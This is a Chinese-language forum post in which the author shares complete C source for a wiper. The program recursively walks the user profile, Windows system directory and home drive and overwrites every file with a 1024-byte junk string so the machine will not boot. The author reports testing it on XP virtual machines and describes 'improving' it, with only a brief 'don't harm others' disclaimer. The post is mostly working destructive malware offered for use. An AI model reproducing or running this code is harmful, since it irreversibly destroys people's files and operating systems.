代码很简单 很SB没技术含量的 就是遍历目录树(遍历系统目录)然后对所有搜索到的文件用文件指针覆盖写入1024个字符 使文件失效 从而造成系统崩溃瘫痪 在虚拟机上做过好多次试验了 XP虚拟机当场瘫痪 重启后提示找不到DLL无法启动 可据某人说这个没用 我也不知道咋回事.....(人品问题?)
PS 后来我又多加入了几组环境变量 把这几组都杀了 应该可以了把..
以下是改进过后的代码 (不要随意害人,后果自负)
感觉威力有点大 把我吓到了..我都不太敢用windows了..编译出来自己一定不要运行 否则会付出惨重的代价
[code]
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <dirent.h>
#include <unistd.h>
#include <string.h>
void kill(const char *pathname)
{
if(strcmp(".",pathname)==0
||strcmp("..",pathname)==0)
return ;
DIR *dir = opendir(pathname);
if(dir!=NULL)
{
if(chdir(pathname))return;
struct dirent *filename;
while(filename = readdir(dir), filename!=NULL)
{
kill(filename->d_name);
}
if(chdir(".."))return;
closedir(dir);
}
else
{
FILE* fp = fopen(pathname,"wb");
if(fp)
{
char haha[1024]="Xiaobawang Coming!!!!!";
fwrite(haha,sizeof(*haha),sizeof(haha)/sizeof(*haha),fp);
fclose(fp);
}
}
}
int main()
{
chdir("\\");
chdir("/");
char *list[] = {"USERPROFILE","SystemRoot","windir","HOMEDRIVE"};
int i = sizeof(list)/sizeof(*list);
while(i-->0)
{
char * winpath;
if(winpath = getenv(list[i]),winpath != NULL)
{
kill(winpath);
}
}
return 0;
}
[/code]